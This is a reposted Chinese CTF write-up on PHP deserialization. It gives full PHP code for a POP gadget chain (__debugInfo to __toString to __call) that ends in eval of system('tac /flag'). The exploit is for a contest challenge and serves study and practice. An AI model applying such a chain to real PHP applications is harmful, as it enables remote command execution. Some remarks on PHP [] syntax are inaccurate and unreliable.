【PHP反序列号漏洞】样本解析

news/2025/3/10 23:12:16/文章来源:https://www.cnblogs.com/o-O-oO/p/18763970

来源

第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup

分析:

__toString()

在PHP中,Exception::__toString是一个魔术方法(Magic Method),用于定义当尝试将对象作为字符串输出时的行为。具体来说,当一个异常对象(通常是Exception类或其子类的实例)被当作字符串处理时(例如在echo语句中,或者在print函数中),PHP会自动调用该对象的__toString方法。这个方法的目的是提供一个可读的字符串表示形式,通常包含异常的描述信息、错误代码、文件路径、行号等,以便于开发者快速定位和解决问题。

class User {private $name;private $email;public function __construct($name, $email) {$this->name = $name;$this->email = $email;}public function __toString() {return "User: {$this->name}, Email: {$this->email}";}}$user = new User("Alice", "alice@example.com");echo $user; // 输出 "User: Alice, Email: alice@example.com"

__toString() 是 PHP 提供的一个魔术方法,用于定义对象在被转换为字符串时的行为。它在某些场景下显得非常有用,因为它让开发者可以控制对象在输出、拼接、打印时显示的内容。下面是__toString() 方法的详细解析和相关内容。

=>符号:

在PHP中,“=>”符号用于定义一个键值对,即将一个键和一个值关联在一起。这种键值对的集合就是关联数组,也称为“哈希表”或“字典”。通过“=>”符号,可以指定一个键和对应的值之间的关系,使得数据在数组中可以按照键值对的形式进行存储和访问。

[]用途:
[]在 PHP 中用于以下用途:

数组索引:获取或设置数组元素的值。

数组声明:声明包含元素的数组。

哈希表:声明键值对(PHP 7.4+)。

范围解析:解析变量或对象的范围。

可变变量名:创建包含变量名的变量。

例如哈希表(键值对)

$hashTable = ['name' => 'John Doe', 'age' => 30];echo $hashTable['name']; // 输出:John Doe
BBB::__debuginfo()->CCC::__toString()->AAA::__call()

__debugInfo():

__debugInfo(): array
当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

tac 命令:

从最后一行开始显示, tac 是 cat 的反向显示,按行倒置输出。
f.writeup

<?php
highlight_file(__FILE__);
class AAA{public $cmd;public function __call($name, $arguments){eval($this->cmd);return "done";}
}
class BBB{public $param1;public function __debuginfo(){return ['debugInfo' => 'param1' . $this->param1];}
}
class CCC{public $func;public function __toString(){var_dump("aaa");$this->func->aaa();}
}
$a=new BBB();
$a->param1=new CCC();
$a->param1->func=new AAA();
$a->param1->func->cmd='system(\'tac /flag\');';
$aaa=serialize($a);
echo $aaa;
unserialize($aaa);
?>

参考🔗

https://blog.csdn.net/Jayjay___/article/details/134426070
https://blog.csdn.net/qq_41643749/article/details/143732496

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/897036.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

依赖注入 DI综合案例

依赖注入 DI综合案例 需求说明先建一个ConsoleMailSend总项目,然后建一个类库项目声明一个接口:using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace LogServices {public interface IlogProvid…

《深入理解计算机网络》 | PDF免费下载 | free download

《深入理解计算机网络》是计算机网络领域的扛鼎之作,由有20余年从业经验的优秀网络技术工程师兼全国网管技能水平开始认证专家王达老师撰写,51CTO技术社区鼎力推荐,权威性毋庸置疑。内容方面,本书结合最新计算机网络技术,全面、系统、深入地阐述了计算机网络的体系结构、工…

《深入理解LINUX内核(第三版)》 | PDF免费下载 | epub free download

《深入理解Linux内核》第3版 将使你了解Linux的所有内部工作,它不仅仅是一个理论上的练习。你将学习到哪些情况下Linux性能最佳,并且你将看到,在大量的不同环境里进行进程调度、文件存取和内存管理时它如何满足提供良好的系统响应的需要。这本书将帮助你充分利用Linux系统。…

Android Studio的配置学习以及整日的总结

所花时间:5h 代码量(行):130 博客量:6 了解的知识点: 首先,今天对于Android Studio的整体配置有了一个新的认识,原因是AS的SDK和虚拟机AVD的默认安装位置在C盘 还有环境变量gradle的下载配置,这些都要了解明白是干什么的,下面我具体的说一下:安装好AS,下载好gradle…

额外添加 _网卡的配置,网络的基础的概念

配置好网卡,上网用 修改网络模式,修改静态ip,动态ip获取方式 system control 系统控制,systemctl 查看当前的上网信息 1.确保你的机器,是连接的网络的,是插上了网线的。(模拟了物理服务器的软件是什么?看你的虚拟的机器(vmware))3.编辑网卡的配置文件 编辑网卡配置文…

用集合说明可以用与或非来表示异或

用集合说明可以用与或非来表示异或 异或(XOR,记作 A⊕BA⊕B)可以通过与(AND,记作 ∧∧)、或(OR,记作 ∨∨)、非(NOT,记作 )的组合来表示。以下是两种常见的表达式形式: 1. 直接组合形式 异或的逻辑可以描述为:当且仅当 A 和 B不同时为真时输出真。 即:A B A⊕B0…

2025.3.10

1,访问PHP文件路径不能出现中文,会显示0行错误 2,<br>换行,<hr>分割线 3,“ ”解析并输出,‘ ’直接输出 4,字符串拼接用. 5,输出 echo "" print_r() 专门输出数组的格式 varr_dump() 数据类型和值6,二维数组

4.9.1 分布偏移的类型

下面介绍一下坐标系中协变量偏移的情况如上图,绿色的曲线是正确的曲线。我们训练的数据是左图,测试的数据是右图。按照左图的数据学习是学不出来绿色曲线的,就会导致右图的数据的准确率很低,这就是协变量偏移

贴现率8%和12%分别计算每个项目的净现值

使用贴现率8%和12%分别计算每个项目的净现值(NPV) JAVA实现 净现值求解实现代码(JAVA):package com.zuoye.Three;import java.math.BigDecimal;public class TieXianLu { public static void main(String[] args) throws Exception { //数据集合 int[] ma…

Netty基础—1.网络编程基础一

大纲 1.什么是OSI开放系统互连 2.OSI七层模型各层的作用 3.TCP/IP协议的简介 4.TCP和UDP的简介 5.TCP连接的三次握手 6.TCP连接的四次挥手 7.TCP/IP中的数据包 8.TCP通过确认应答与序列号提高可靠性 9.HTTP请求的传输过程 10.HTTP协议报文结构 11.Socket、短连接、长连接、网络…

硅基流动+Chatbox实现deepseek R1使用自由

解锁 DeepSeek R1 全能力:高性价比AI对话全流程指南🌟 用最低成本体验顶尖开源模型,对话成本低至 2 分钱/次!一、注册 SiliconFlow 领取千万Tokens▶️ 操作步骤:点击专属链接注册:https://cloud.siliconflow.cn/i/KoKtjLvD 手机验证码登录 → 立即获得 2000万 Tokens(…